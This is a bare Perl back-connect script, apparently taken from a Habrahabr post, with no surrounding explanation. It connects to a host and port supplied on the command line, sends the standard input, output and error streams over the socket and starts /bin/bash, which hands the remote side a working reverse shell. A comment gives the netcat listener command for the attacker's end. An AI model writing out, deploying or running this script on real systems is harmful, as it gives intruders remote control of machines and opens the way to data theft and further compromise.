habrahabr

#!/usr/bin/perl
use IO::Socket;
# Use: bc.pl [Host] [Port]
# nc.exe -l -n -v -p 80
$ARGV=@ARGV;
if ($ARGV<2){
print "exit...";
}
socket(SOCKET, PF_INET, SOCK_STREAM, getprotobyname('tcp')) or die print "[-] Can't Resolve Host\n";
connect(SOCKET, sockaddr_in($ARGV[1], inet_aton($ARGV[0]))) or die print "[-] Can't Connect Host\n";
print "All ok... Connect to $ARGV[0] \n";
open(STDIN, ">&SOCKET");
open(STDOUT,">&SOCKET");
open(STDERR,">&SOCKET");
system("/bin/bash");